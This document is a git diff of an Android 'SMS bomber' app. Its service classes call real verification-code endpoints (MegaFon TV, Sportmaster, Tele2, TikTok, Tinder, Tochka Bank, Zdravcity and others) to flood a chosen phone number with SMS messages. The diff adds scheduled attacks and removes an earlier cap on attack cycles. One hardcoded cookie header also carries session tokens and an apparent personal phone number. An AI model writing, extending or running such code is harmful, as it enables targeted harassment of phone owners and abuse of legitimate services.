+ .addHeader("Cookie", response.header("Set-Cookie").split(";")[0])
+ .post(RequestBody.create(
+ json.toString(), MediaType.parse("application/json")))
+ .build()).enqueue(callback);
+ } catch (NullPointerException e) {
+ callback.onError(e);
+ }
+ }
+ });
+ }
+ },
+
+ new Service() {
+ @Override
+ public void run(OkHttpClient client, Callback callback) {
+ client.newCall(new Request.Builder()
+ .url("https://megafon.tv")
+ .get().build()).enqueue(new okhttp3.Callback() {
+ @Override
+ public void onFailure(@NonNull Call call, @NonNull IOException e) {
+ callback.onFailure(call, e);
+ }
+
+ @Override
+ public void onResponse(@NonNull Call call, @NonNull Response response) {
+ JSONObject json = new JSONObject();
+
+ try {
+ json.put("msisdn", getFormattedPhone());
+ json.put("password", "91234657");
+ } catch (JSONException e) {
+ e.printStackTrace();
+ }
+
+ try {
+ client.newCall(new Request.Builder()
+ .url("https://bmp.megafon.tv/api/v10/auth/register/msisdn")
+ .addHeader("Cookie", response.header("Set-Cookie").split(";")[0])
+ .post(RequestBody.create(
+ json.toString(), MediaType.parse("application/json")))
+ .build()).enqueue(callback);
+ } catch (NullPointerException e) {
+ callback.onError(e);
+ }
+ }
+ });
+ }
+ }
};
}
diff --git a/app/src/main/java/com/dm/bomber/services/Sportmaster.java b/app/src/main/java/com/dm/bomber/services/Sportmaster.java
deleted file mode 100644
index 8483749..0000000
--- a/app/src/main/java/com/dm/bomber/services/Sportmaster.java
+++ /dev/null
@@ -1,64 +0,0 @@
-package com.dm.bomber.services;
-
-import androidx.annotation.NonNull;
-
-import org.json.JSONException;
-import org.json.JSONObject;
-
-import java.io.IOException;
-
-import okhttp3.Call;
-import okhttp3.MediaType;
-import okhttp3.OkHttpClient;
-import okhttp3.Request;
-import okhttp3.RequestBody;
-import okhttp3.Response;
-
-public class Sportmaster extends Service {
-
- @Override
- public void run(OkHttpClient client, Callback callback) {
- client.newCall(new Request.Builder()
- .url("https://moappsmapi.sportmaster.ru/api/v1/auth")
- .header("User-Agent", "mobileapp-android-11")
- .header("X-SM-MobileApp", "null")
- .header("App-Version", "3.70.41")
- .header("OS", "ANDROID")
- .header("OS-Version", "11")
- .header("Device-Model", "null null")
- .get()
- .build()).enqueue(new okhttp3.Callback() {
- @Override
- public void onFailure(@NonNull Call call, @NonNull IOException e) {
- callback.onFailure(call, e);
- }
-
- @Override
- public void onResponse(@NonNull Call call, @NonNull Response response) throws IOException {
- try {
- JSONObject json = new JSONObject(response.body().string());
- JSONObject req = new JSONObject();
-
- req.put("type", "phone");
- req.put("value", phone);
-
- client.newCall(new Request.Builder()
- .url("https://moappsmapi.sportmaster.ru/api/v1/code")
- .header("access-token", json
- .getJSONObject("data")
- .getString("AccessToken"))
- .header("User-Agent", "mobileapp-android-11")
- .header("X-SM-MobileApp", "null")
- .header("App-Version", "3.70.41")
- .header("OS", "ANDROID")
- .header("OS-Version", "11")
- .header("Device-Model", "null null")
- .post(RequestBody.create(req.toString(), MediaType.parse("application/json")))
- .build()).enqueue(callback);
- } catch (JSONException | NullPointerException e) {
- callback.onError(e);
- }
- }
- });
- }
-}
\ No newline at end of file
diff --git a/app/src/main/java/com/dm/bomber/services/Tele2.java b/app/src/main/java/com/dm/bomber/services/Tele2.java
deleted file mode 100644
index 9311cb3..0000000
--- a/app/src/main/java/com/dm/bomber/services/Tele2.java
+++ /dev/null
@@ -1,28 +0,0 @@
-package com.dm.bomber.services;
-
-import okhttp3.HttpUrl;
-import okhttp3.MediaType;
-import okhttp3.Request;
-import okhttp3.RequestBody;
-
-public class Tele2 extends ParamsService {
-
- public Tele2() {
- setUrl("https://msk.tele2.ru/api/validation/number/");
- setMethod(POST);
- }
-
- @Override
- public Request buildRequest(Request.Builder builder) {
- RequestBody body = RequestBody.create(
- "{\"sender\": \"Tele2\"}", MediaType.parse("application/json"));
-
- builder.method(method, body);
- return super.buildRequest(builder);
- }
-
- @Override
- public void buildParams(HttpUrl.Builder builder) {
- builder.addPathSegment(getFormattedPhone());
- }
-}
diff --git a/app/src/main/java/com/dm/bomber/services/TikTok.java b/app/src/main/java/com/dm/bomber/services/TikTok.java
deleted file mode 100755
index 7944755..0000000
--- a/app/src/main/java/com/dm/bomber/services/TikTok.java
+++ /dev/null
@@ -1,35 +0,0 @@
-package com.dm.bomber.services;
-
-import org.json.JSONException;
-import org.json.JSONObject;
-
-public class TikTok extends JsonService {
-
- public TikTok() {
- setUrl("https://m.tiktok.com/node-a/send/download_link");
- setMethod(POST);
- setPhoneCode("7");
- }
-
- @Override
- public String buildJson() {
- JSONObject json = new JSONObject();
- JSONObject page = new JSONObject();
-
- try {
- page.put("pageName", "home");
- page.put("launchMode", "direct");
- page.put("trafficType", "");
-
- json.put("slideVerify", "0");
- json.put("language", "ru");
- json.put("PhoneRegionCode", countryCode);
- json.put("Mobile", phone);
- json.put("page", page);
- } catch (JSONException e) {
- e.printStackTrace();
- }
-
- return json.toString();
- }
-}
diff --git a/app/src/main/java/com/dm/bomber/services/Tinder.java b/app/src/main/java/com/dm/bomber/services/Tinder.java
deleted file mode 100644
index cb4cfaf..0000000
--- a/app/src/main/java/com/dm/bomber/services/Tinder.java
+++ /dev/null
@@ -1,44 +0,0 @@
-package com.dm.bomber.services;
-
-import org.json.JSONException;
-import org.json.JSONObject;
-
-import okhttp3.Request;
-
-public class Tinder extends JsonService {
-
- public Tinder() {
- setUrl("https://api.gotinder.com/v2/auth/sms/send?auth_type=sms");
- setMethod(POST);
- setPhoneCode("7");
- }
-
- @Override
- public Request buildRequest(Request.Builder builder) {
- builder.addHeader("os-version", "29");
- builder.addHeader("app-version", "3754");
- builder.addHeader("platform", "android");
- builder.addHeader("x-supported-image-formats", "webp");
- builder.addHeader("tinder-version", "11.10.1");
- builder.addHeader("persistent-device-id", "************");
- builder.addHeader("app-session-id", "*******");
- builder.addHeader("app-session-time-elapsed", "99.2");
- builder.addHeader("install-id", "**********");
- builder.addHeader("User-Agent", "Tinder Android Version 11.10.1");
-
- return super.buildRequest(builder);
- }
-
- @Override
- public String buildJson() {
- JSONObject json = new JSONObject();
-
- try {
- json.put("phone_number", getFormattedPhone());
- } catch (JSONException e) {
- e.printStackTrace();
- }
-
- return json.toString();
- }
-}
diff --git a/app/src/main/java/com/dm/bomber/services/TochkaBank.java b/app/src/main/java/com/dm/bomber/services/TochkaBank.java
deleted file mode 100644
index 2c6f26a..0000000
--- a/app/src/main/java/com/dm/bomber/services/TochkaBank.java
+++ /dev/null
@@ -1,29 +0,0 @@
-package com.dm.bomber.services;
-
-import org.json.JSONObject;
-
-public class TochkaBank extends JsonService {
-
- public TochkaBank() {
- setUrl("https://x.tochka.com/api/v1/auth/v3/public");
- setMethod(POST);
- }
-
- @Override
- public String buildJson() {
- JSONObject json = new JSONObject();
-
- try {
- json.put("id", "caece419-b6f1-0ea4-b953-338c2c7399c5");
- json.put("jsonrpc", "2.0");
- json.put("method", "second_factor_auth");
- json.put("params", new JSONObject()
- .put("value", "+" + getFormattedPhone())
- .put("auth_method", "smsotp"));
- } catch (Exception e) {
- e.printStackTrace();
- }
-
- return json.toString();
- }
-}
diff --git a/app/src/main/java/com/dm/bomber/services/VKWorki.java b/app/src/main/java/com/dm/bomber/services/VKWorki.java
deleted file mode 100755
index 951b453..0000000
--- a/app/src/main/java/com/dm/bomber/services/VKWorki.java
+++ /dev/null
@@ -1,51 +0,0 @@
-package com.dm.bomber.services;
-
-import org.json.JSONException;
-import org.json.JSONObject;
-
-import okhttp3.Request;
-
-public class VKWorki extends JsonService {
-
- public VKWorki() {
- setUrl("https://api.iconjob.co/api/auth/verification_code");
- setMethod(POST);
- setPhoneCode("7");
- }
-
- @Override
- public Request buildRequest(Request.Builder builder) {
- builder.addHeader("User-Agent", "Worki/2.8.1(627) (M2010J19SY; Android 30; Scale/2.75;)");
- builder.addHeader("api-version", "2.8.1");
- builder.addHeader("device-token", "null");
- builder.addHeader("x-request-id", "null");
- builder.addHeader("Content-Type", "application/json");
-
- return super.buildRequest(builder);
- }
-
- @Override
- public String buildJson() {
- JSONObject json = new JSONObject();
- JSONObject device = new JSONObject();
- JSONObject adjust = new JSONObject();
-
- try {
- adjust.put("adid", "null");
- adjust.put("android_id", "null");
-
- device.put("adjust", adjust);
- device.put("language", "ru");
- device.put("sms_hash", "fxTe0rFJkXA");
- device.put("token", "null");
- device.put("type", "android");
-
- json.put("device", device);
- json.put("phone", getFormattedPhone());
- } catch (JSONException e) {
- e.printStackTrace();
- }
-
- return json.toString();
- }
-}
diff --git a/app/src/main/java/com/dm/bomber/services/VapeZone.java b/app/src/main/java/com/dm/bomber/services/VapeZone.java
deleted file mode 100644
index 82a8480..0000000
--- a/app/src/main/java/com/dm/bomber/services/VapeZone.java
+++ /dev/null
@@ -1,18 +0,0 @@
-package com.dm.bomber.services;
-
-import okhttp3.HttpUrl;
-
-public class VapeZone extends ParamsService {
-
- public VapeZone() {
- setUrl("https://vapezone.pro/index.php");
- }
-
- @Override
- public void buildParams(HttpUrl.Builder builder) {
- builder.addQueryParameter("dispatch", "csc_sms.generate_code");
- builder.addQueryParameter("phone", "+" + getFormattedPhone());
- builder.addQueryParameter("prefix", "");
- builder.addQueryParameter("is_ajax", "1");
- }
-}
diff --git a/app/src/main/java/com/dm/bomber/services/Zdravcity.java b/app/src/main/java/com/dm/bomber/services/Zdravcity.java
deleted file mode 100644
index dd18f4a..0000000
--- a/app/src/main/java/com/dm/bomber/services/Zdravcity.java
+++ /dev/null
@@ -1,43 +0,0 @@
-package com.dm.bomber.services;
-
-import okhttp3.FormBody;
-import okhttp3.Request;
-
-public class Zdravcity extends FormService {
-
- public Zdravcity() {
- setUrl("https://zdravcity.ru/ajax/sendcode.php");
- setMethod(POST);
- }
-
- @Override
- public Request buildRequest(Request.Builder builder) {
- builder.addHeader("Accept", "application/json, text/javascript, */*; q=0.01");
- builder.addHeader("Accept-Encoding", "gzip, deflate, br");
- builder.addHeader("Accept-Language", "ru,en-US;q=0.7,en;q=0.3");
- builder.addHeader("Alt-Used", "zdravcity.ru");
- builder.addHeader("Connection", "keep-alive");
- builder.addHeader("Content-Length", "81");
- builder.addHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
- builder.addHeader("Cookie", "PHPSESSID=36ompis7t70h760q1m53mrsab1; BITRIX_SM_ABTEST_s1=1%7CB; BITRIX_SM_LAST_REG_CODE=Moscowregion; BITRIX_SM_OLD_FAVORITES_CHECKED=Y; experiment-redesign=controlExperiment; newcart=false; _gaexp=GAX1.2.JKngMcRcSguFtw8O60tICA.18879.1; BX_USER_ID=868804f78bbb85b7fa136d704deb9c7a; _gcl_au=1.1.88904125.1628343659; _ym_uid=16283436611033418; _ym_d=1628343661; rrpvid=168462839558745; _userGUID=0:ks1trupz:cFyDarCG1VPnM_JbO9LekJg1RPA~ibdU; _ga=GA1.2.1318070326.1628343662; _gid=GA1.2.2090191083.1628343662; _ym_isad=1; tmr_reqNum=12; tmr_lvid=470e4de3fbd93e142890039d69401a27; tmr_lvidTS=1628343662067; HIDE_DESCRIPTION_HEADER_BANNER=Y; tmr_detect=1%7C1628343662427; popmechanic_sbjs_migrations=popmechanic_1418474375998%3D1%7C%7C%7C1471519752600%3D1%7C%7C%7C1471519752605%3D1; dSesn=2efab3e0-eacf-653c-0262-355a98d221cb; _dvs=0:ks1trupz:wqmyHYmwOr~Ty6cj8VfXUqkcCL_Cc4K7; rcuid=60fa5e5b83344a0001456ccb; _ym_visorc=w; mindboxDeviceUUID=b7b572e4-0c88-4c08-bd87-ce7b37989f85; directCrm-session=%7B%22deviceGuid%22%3A%22b7b572e4-0c88-4c08-bd87-ce7b37989f85%22%7D; _gat_UA-60065697-1=1; flocktory-uuid=0540ae8f-b10e-4ba2-8554-0038c20fb7c2-5; _fbp=fb.1.1628343665796.1565400631; cto_bundle=RNGZlV9JV1Zsc3R3aXdFclk4c1hqUklpNGdvdkc3VTVybVZMRTVFJTJCTGkwSFNkRU0zY20lMkZSOGhPM05Bd20ybHBxNmhZMGlhM3ZXQmdkYjJveXNJY0luJTJCZVdBN0xKVW11MWpaQndYeEZOJTJCJTJCQUsydXM4UDFLeDdqcU4yM3VRbkolMkZ0TVpnUnFkdGNuUUJvMnFsSnRyYVRycUlKdVElM0QlM0Q; _dc_gtm_UA-60065697-1=1; lastRegData=sessid%3D3b1b4a8041b130671a05ee72e48b5ba9%26enter_back_url%3D%26save%3DY%26send_message_drug_id%3D%26buyer_phone%3D%28904%29595-01-05%26tmpphone%3D9045950105%26sms_cod%3D%26buyer_name%3D%26buyer_surname%3D%26buyer_email%3D%26my_health_cart%3DY%26register_buyer%3DY; d7a7fd7sa6=-1; _gali=login-new-registration");
- builder.addHeader("Host", "zdravcity.ru");
- builder.addHeader("Origin", "https://zdravcity.ru");
- builder.addHeader("Referer", "https://zdravcity.ru/");
- builder.addHeader("Sec-Fetch-Dest", "empty");
- builder.addHeader("Sec-Fetch-Mode", "cors");
- builder.addHeader("Sec-Fetch-Site", "same-origin");
- builder.addHeader("TE", "trailers");
- builder.addHeader("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:90.0) Gecko/20100101 Firefox/90.0");
- builder.addHeader("X-Requested-With", "XMLHttpRequest");
-
- return super.buildRequest(builder);
- }
-
- @Override
- public void buildBody(FormBody.Builder builder) {
- builder.add("phone", phone);
- builder.add("bxsid", "3b1b4a8041b130671a05ee72e48b5ba9");
- builder.add("sms1", "Y");
- builder.add("typeAction", "regUser");
- }
-}
diff --git a/app/src/main/java/com/dm/bomber/ui/MainActivity.java b/app/src/main/java/com/dm/bomber/ui/MainActivity.java
index 3c096b6..72ec42c 100644
--- a/app/src/main/java/com/dm/bomber/ui/MainActivity.java
+++ b/app/src/main/java/com/dm/bomber/ui/MainActivity.java
@@ -2,6 +2,8 @@
import android.animation.Animator;
import android.animation.AnimatorListenerAdapter;
+import android.app.DatePickerDialog;
+import android.app.TimePickerDialog;
import android.content.ClipData;
import android.content.ClipboardManager;
import android.content.Intent;
@@ -21,17 +23,25 @@
import androidx.appcompat.widget.TooltipCompat;
import androidx.core.content.ContextCompat;
import androidx.lifecycle.ViewModelProvider;
+import androidx.recyclerview.widget.LinearLayoutManager;
+import androidx.work.WorkInfo;
import androidx.work.WorkManager;
+import androidx.work.WorkQuery;
import com.dm.bomber.R;
import com.dm.bomber.databinding.ActivityMainBinding;
import com.dm.bomber.databinding.DialogProxiesBinding;
import com.dm.bomber.databinding.DialogSettingsBinding;
+import com.dm.bomber.ui.adapters.BomberWorkAdapter;
+import com.dm.bomber.ui.adapters.CountryCodeAdapter;
import com.google.android.material.bottomsheet.BottomSheetDialog;
import com.google.android.material.color.MaterialColors;
import com.google.android.material.dialog.MaterialAlertDialogBuilder;
import com.google.android.material.snackbar.Snackbar;
+import java.util.Arrays;
+import java.util.Calendar;
+
import jp.wasabeef.blurry.Blurry;
public class MainActivity extends AppCompatActivity {
@@ -45,9 +55,11 @@ public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
+ WorkManager workManager = WorkManager.getInstance(this);
+
repository = new MainRepository(this);
model = new ViewModelProvider(this,
- new MainModelFactory(repository, WorkManager.getInstance(this))).get(MainViewModel.class);
+ new MainModelFactory(repository, workManager)).get(MainViewModel.class);
AppCompatDelegate.setDefaultNightMode(repository.getTheme());
@@ -126,7 +138,17 @@ public void onGlobalLayout() {
mainBinding.attack.setVisibility(View.GONE);
});
- CountryCodeAdapter adapter = new CountryCodeAdapter(this,
+ BomberWorkAdapter bomberWorkAdapter = new BomberWorkAdapter(this, workManager.getWorkInfosLiveData(
+ WorkQuery.Builder.fromStates(Arrays.asList(
+ WorkInfo.State.RUNNING,
+ WorkInfo.State.ENQUEUED
+ )).build()),
+ workInfo -> workManager.cancelWorkById(workInfo.getId()));
+
+ settingsBinding.tasks.setLayoutManager(new LinearLayoutManager(this));
+ settingsBinding.tasks.setAdapter(bomberWorkAdapter);
+
+ CountryCodeAdapter countryCodeAdapter = new CountryCodeAdapter(this,
new int[]{R.drawable.ic_ru, R.drawable.ic_uk, R.drawable.ic_all},
MainViewModel.countryCodes,
getThemeColor(R.attr.colorOnSecondary));
@@ -134,7 +156,7 @@ public void onGlobalLayout() {
String[] hints = getResources().getStringArray(R.array.hints);
mainBinding.phoneNumber.setHint(hints[0]);
- mainBinding.phoneCode.setAdapter(adapter);
+ mainBinding.phoneCode.setAdapter(countryCodeAdapter);
mainBinding.phoneCode.setOnItemSelectedListener(new AdapterView.OnItemSelectedListener() {
@Override
public void onItemSelected(AdapterView> adapterView, View view, int index, long l) {
@@ -146,6 +168,9 @@ public void onNothingSelected(AdapterView> adapterView) {
}
});
+ BottomSheetDialog settings = new BottomSheetDialog(this);
+ settings.setContentView(settingsBinding.getRoot());
+
mainBinding.startAttack.setOnClickListener(view -> {
InputMethodManager input = (InputMethodManager) getSystemService(INPUT_METHOD_SERVICE);
input.hideSoftInputFromWindow(mainBinding.getRoot().getWindowToken(), 0);
@@ -158,12 +183,45 @@ public void onNothingSelected(AdapterView> adapterView) {
return;
}
- int numberOfCyclesNum = numberOfCycles.isEmpty() ? 1 : Integer.parseInt(numberOfCycles);
+ repository.setLastCountryCode(mainBinding.phoneCode.getSelectedItemPosition());
+ repository.setLastPhone(phoneNumber);
+
+ model.startAttack(mainBinding.phoneCode.getSelectedItemPosition(), phoneNumber,
+ numberOfCycles.isEmpty() ? 1 : Integer.parseInt(numberOfCycles));
+ });
+
+ mainBinding.startAttack.setOnLongClickListener(view -> {
+ String phoneNumber = mainBinding.phoneNumber.getText().toString();
+ String numberOfCycles = mainBinding.cyclesCount.getText().toString();
+
+ if (phoneNumber.length() < 7) {
+ Snackbar.make(view, R.string.phone_error, Snackbar.LENGTH_LONG).show();
+ return true;
+ }
+
+ final Calendar currentDate = Calendar.getInstance();
+ final Calendar date = Calendar.getInstance();
+
+ new DatePickerDialog(MainActivity.this, (datePicker, year, monthOfYear, dayOfMonth) -> {
+ date.set(year, monthOfYear, dayOfMonth);
+
+ new TimePickerDialog(MainActivity.this, (timePicker, hourOfDay, minute) -> {
+ date.set(Calendar.HOUR_OF_DAY, hourOfDay);
+ date.set(Calendar.MINUTE, minute);
+
+ model.scheduleAttack(mainBinding.phoneCode.getSelectedItemPosition(), phoneNumber,
+ numberOfCycles.isEmpty() ? 1 : Integer.parseInt(numberOfCycles),
+ date.getTimeInMillis() - currentDate.getTimeInMillis());
- if (numberOfCyclesNum > 30)
- numberOfCyclesNum = 10;
+ repository.setLastCountryCode(mainBinding.phoneCode.getSelectedItemPosition());
+ repository.setLastPhone(phoneNumber);
- model.startAttack(mainBinding.phoneCode.getSelectedItemPosition(), phoneNumber, numberOfCyclesNum);
+ settings.show();
+ }, currentDate.get(Calendar.HOUR_OF_DAY), currentDate.get(Calendar.MINUTE), true).show();
+
+ }, currentDate.get(Calendar.YEAR), currentDate.get(Calendar.MONTH), currentDate.get(Calendar.DATE)).show();
+
+ return true;
});
mainBinding.bomb.setOnClickListener(view -> view.animate()
@@ -190,9 +248,6 @@ public void onAnimationEnd(Animator animation) {
return false;
});
- BottomSheetDialog settings = new BottomSheetDialog(this);
- settings.setContentView(settingsBinding.getRoot());
-
mainBinding.settings.setOnClickListener(view -> settings.show());
settingsBinding.themeTile.setChecked((getResources().getConfiguration().uiMode & Configuration.UI_MODE_NIGHT_MASK) == Configuration.UI_MODE_NIGHT_YES);
diff --git a/app/src/main/java/com/dm/bomber/ui/MainRepository.java b/app/src/main/java/com/dm/bomber/ui/MainRepository.java
index 955c07a..9512671 100644
--- a/app/src/main/java/com/dm/bomber/ui/MainRepository.java
+++ b/app/src/main/java/com/dm/bomber/ui/MainRepository.java
@@ -21,7 +21,7 @@ public class MainRepository {
private static final String DARKMODE = "darkmode";
private static final String LAST_PHONE = "last_phone";
private static final String LAST_COUNTRYCODE = "last_countrycode";
- private static final String PROMOTION_SHOWN = "promotion_shown3";
+ private static final String PROMOTION_SHOWN = "promotion_shown4";
private static final String PROXY = "proxy";
private static final String PROXY_ENABLED = "proxy_enabled";
diff --git a/app/src/main/java/com/dm/bomber/ui/MainViewModel.java b/app/src/main/java/com/dm/bomber/ui/MainViewModel.java
index 46702a8..9341c74 100644
--- a/app/src/main/java/com/dm/bomber/ui/MainViewModel.java
+++ b/app/src/main/java/com/dm/bomber/ui/MainViewModel.java
@@ -9,10 +9,13 @@
import androidx.work.OneTimeWorkRequest;
import androidx.work.WorkInfo;
import androidx.work.WorkManager;
+import androidx.work.WorkQuery;
import com.dm.bomber.workers.AttackWorker;
+import java.util.Arrays;
import java.util.UUID;
+import java.util.concurrent.TimeUnit;
public class MainViewModel extends ViewModel {
private final MainRepository repository;
@@ -27,7 +30,6 @@ public class MainViewModel extends ViewModel {
private final MutableLiveData maxProgress = new MutableLiveData<>(0);
private final MutableLiveData attackStatus = new MutableLiveData<>(false);
- private static final String ATTACK = "attack";
public static final String[] countryCodes = {"7", "380", ""};
public MainViewModel(MainRepository preferences, WorkManager workManager) {
@@ -37,16 +39,20 @@ public MainViewModel(MainRepository preferences, WorkManager workManager) {
promotionShown = new MutableLiveData<>(repository.getPromotionShown());
proxyEnabled = new MutableLiveData<>(repository.isProxyEnabled());
- workManager.getWorkInfosByTagLiveData(ATTACK).observeForever(workInfos -> {
- if (workInfos.isEmpty()) {
+ workManager.getWorkInfosLiveData(
+ WorkQuery.Builder.fromStates(Arrays.asList(WorkInfo.State.RUNNING,
+ WorkInfo.State.CANCELLED,
+ WorkInfo.State.SUCCEEDED,
+ WorkInfo.State.FAILED
+ )).build()).observeForever(workInfos -> {
+
+ if (workInfos.isEmpty())
return;
- }
for (WorkInfo workInfo : workInfos)
if (workInfo.getId().equals(currentAttackId)) {
- if (workInfo.getState().isFinished()) {
+ if (workInfo.getState().isFinished())
attackStatus.setValue(false);
- }
Data data = workInfo.getProgress();
@@ -90,7 +96,7 @@ public LiveData getAttackStatus() {
return attackStatus;
}
- public void startAttack(int countryCode, String phoneNumber, int numberOfCyclesNum) {
+ public void scheduleAttack(int countryCode, String phoneNumber, int numberOfCyclesNum, long delay) {
Data inputData = new Data.Builder()
.putString(AttackWorker.KEY_COUNTRY_CODE, countryCodes[countryCode])
.putString(AttackWorker.KEY_PHONE, phoneNumber)
@@ -98,18 +104,25 @@ public void startAttack(int countryCode, String phoneNumber, int numberOfCyclesN
.putBoolean(AttackWorker.KEY_PROXY_ENABLED, repository.isProxyEnabled())
.build();
- OneTimeWorkRequest attack = new OneTimeWorkRequest.Builder(AttackWorker.class)
- .addTag(ATTACK)
+ OneTimeWorkRequest workRequest = new OneTimeWorkRequest.Builder(AttackWorker.class)
+ .addTag("+" + countryCodes[countryCode] + phoneNumber)
+ .setInitialDelay(delay, TimeUnit.MILLISECONDS)
.setInputData(inputData)
.setConstraints(new Constraints.Builder()
.setRequiredNetworkType(NetworkType.CONNECTED)
.build())
.build();
- currentAttackId = attack.getId();
- attackStatus.setValue(true);
+ if (delay == 0) {
+ currentAttackId = workRequest.getId();
+ attackStatus.setValue(true);
+ }
- workManager.enqueue(attack);
+ workManager.enqueue(workRequest);
+ }
+
+ public void startAttack(int countryCode, String phoneNumber, int numberOfCyclesNum) {
+ scheduleAttack(countryCode, phoneNumber, numberOfCyclesNum, 0);
}
public void stopAttack() {
diff --git a/app/src/main/java/com/dm/bomber/ui/adapters/BomberWorkAdapter.java b/app/src/main/java/com/dm/bomber/ui/adapters/BomberWorkAdapter.java
new file mode 100644
index 0000000..a0bbb8e
--- /dev/null
+++ b/app/src/main/java/com/dm/bomber/ui/adapters/BomberWorkAdapter.java
@@ -0,0 +1,93 @@
+package com.dm.bomber.ui.adapters;
+
+import android.annotation.SuppressLint;
+import android.content.Context;
+import android.view.LayoutInflater;
+import android.view.View;
+import android.view.ViewGroup;
+
+import androidx.annotation.NonNull;
+import androidx.lifecycle.LifecycleOwner;
+import androidx.lifecycle.LiveData;
+import androidx.recyclerview.widget.RecyclerView;
+import androidx.work.WorkInfo;
+
+import com.dm.bomber.databinding.WorkItemBinding;
+import com.dm.bomber.workers.AttackWorker;
+
+import java.util.List;
+
+public class BomberWorkAdapter extends RecyclerView.Adapter {
+ private List workInfos;
+
+ private final Context context;
+ public Callback callback;
+
+ @SuppressLint("NotifyDataSetChanged")
+ public BomberWorkAdapter(LifecycleOwner context, LiveData> data, Callback callback) {
+ this.context = (Context) context;
+ this.callback = callback;
+
+ data.observe(context, workInfosResult -> {
+ workInfos = workInfosResult;
+
+ notifyDataSetChanged();
+ });
+ }
+
+ @NonNull
+ @Override
+ public ViewHolder onCreateViewHolder(@NonNull ViewGroup parent, int viewType) {
+ WorkItemBinding rowItem = WorkItemBinding.inflate(LayoutInflater.from(context), parent, false);
+ return new ViewHolder(rowItem);
+ }
+
+ @Override
+ public void onBindViewHolder(@NonNull ViewHolder holder, int position) {
+ WorkInfo workInfo = workInfos.get(position);
+
+ boolean isRunning = workInfo.getState().equals(WorkInfo.State.RUNNING);
+ holder.binding.taskProgress.setVisibility(isRunning ? View.VISIBLE : View.INVISIBLE);
+ holder.binding.taskTime.setVisibility(isRunning ? View.GONE : View.VISIBLE);
+
+ if (isRunning) {
+ holder.binding.taskProgress.setMax(workInfo.getProgress().getInt(AttackWorker.KEY_MAX_PROGRESS, 0));
+ holder.binding.taskProgress.setProgress(workInfo.getProgress().getInt(AttackWorker.KEY_PROGRESS, 0));
+ }
+
+ for (String tag : workInfo.getTags()) {
+ if (tag.startsWith("com"))
+ continue;
+
+ holder.binding.taskTitle.setText(tag);
+ }
+ }
+
+ @Override
+ public int getItemCount() {
+ return workInfos.size();
+ }
+
+ public class ViewHolder extends RecyclerView.ViewHolder implements View.OnLongClickListener {
+ public final WorkItemBinding binding;
+
+ public ViewHolder(WorkItemBinding binding) {
+ super(binding.getRoot());
+
+ this.binding = binding;
+
+ binding.getRoot().setOnLongClickListener(this);
+ }
+
+ @Override
+ public boolean onLongClick(View view) {
+ callback.onItemLongClicked(workInfos.get(getLayoutPosition()));
+
+ return true;
+ }
+ }
+
+ public interface Callback {
+ void onItemLongClicked(WorkInfo workInfo);
+ }
+}
diff --git a/app/src/main/java/com/dm/bomber/ui/CountryCodeAdapter.java b/app/src/main/java/com/dm/bomber/ui/adapters/CountryCodeAdapter.java
similarity index 98%
rename from app/src/main/java/com/dm/bomber/ui/CountryCodeAdapter.java
rename to app/src/main/java/com/dm/bomber/ui/adapters/CountryCodeAdapter.java
index e310405..21e73d7 100644
--- a/app/src/main/java/com/dm/bomber/ui/CountryCodeAdapter.java
+++ b/app/src/main/java/com/dm/bomber/ui/adapters/CountryCodeAdapter.java
@@ -1,4 +1,4 @@
-package com.dm.bomber.ui;
+package com.dm.bomber.ui.adapters;
import android.app.Activity;
import android.view.LayoutInflater;
diff --git a/app/src/main/res/drawable/work_item_background.xml b/app/src/main/res/drawable/work_item_background.xml
new file mode 100644
index 0000000..d4a0d37
--- /dev/null
+++ b/app/src/main/res/drawable/work_item_background.xml
@@ -0,0 +1,11 @@
+
+
+
+
+
+
\ No newline at end of file
diff --git a/app/src/main/res/layout/dialog_settings.xml b/app/src/main/res/layout/dialog_settings.xml
index b35022d..c9e4d53 100644
--- a/app/src/main/res/layout/dialog_settings.xml
+++ b/app/src/main/res/layout/dialog_settings.xml
@@ -38,9 +38,21 @@
app:flow_maxElementsWrap="2"
app:flow_verticalGap="8dp"
app:flow_wrapMode="chain"
+ app:layout_constraintBottom_toTopOf="@+id/tasks"
+ app:layout_constraintEnd_toEndOf="parent"
+ app:layout_constraintHorizontal_bias="0.5"
+ app:layout_constraintStart_toStartOf="parent"
+ app:layout_constraintTop_toTopOf="parent"
+ app:layout_constraintVertical_chainStyle="packed" />
+
+
+ app:layout_constraintTop_toBottomOf="@+id/flow" />
\ No newline at end of file
diff --git a/app/src/main/res/layout/work_item.xml b/app/src/main/res/layout/work_item.xml
new file mode 100644
index 0000000..9a84df9
--- /dev/null
+++ b/app/src/main/res/layout/work_item.xml
@@ -0,0 +1,46 @@
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/app/src/main/res/values-kz/strings.xml b/app/src/main/res/values-kz/strings.xml
index 42ae785..6f3b747 100644
--- a/app/src/main/res/values-kz/strings.xml
+++ b/app/src/main/res/values-kz/strings.xml
@@ -9,6 +9,7 @@
Қайырымдылық
Прокси
Дереккөз
+ Күту
Сақтау
Прокси пішімі дұрыс емес
diff --git a/app/src/main/res/values-ru/strings.xml b/app/src/main/res/values-ru/strings.xml
index e499c27..cbf1ab5 100644
--- a/app/src/main/res/values-ru/strings.xml
+++ b/app/src/main/res/values-ru/strings.xml
@@ -9,6 +9,7 @@
Пожертвование
Прокси
Исходный код
+ Ожидание
Сохранить
Неверный формат прокси
diff --git a/app/src/main/res/values-uk/strings.xml b/app/src/main/res/values-uk/strings.xml
index c5f9e89..b422ad7 100644
--- a/app/src/main/res/values-uk/strings.xml
+++ b/app/src/main/res/values-uk/strings.xml
@@ -9,6 +9,7 @@
Пожертвування
Проксi
Вихідний код
+ Очікування
Зберегти
Невірний формат проксі
diff --git a/app/src/main/res/values/strings.xml b/app/src/main/res/values/strings.xml
index 95a804f..754a9ac 100644
--- a/app/src/main/res/values/strings.xml
+++ b/app/src/main/res/values/strings.xml
@@ -10,6 +10,7 @@
Donate
Proxy
Source code
+ Waiting
Save
Invalid proxy format
diff --git a/app/src/main/res/values/styles.xml b/app/src/main/res/values/styles.xml
index d38048e..9dd2304 100644
--- a/app/src/main/res/values/styles.xml
+++ b/app/src/main/res/values/styles.xml
@@ -3,7 +3,7 @@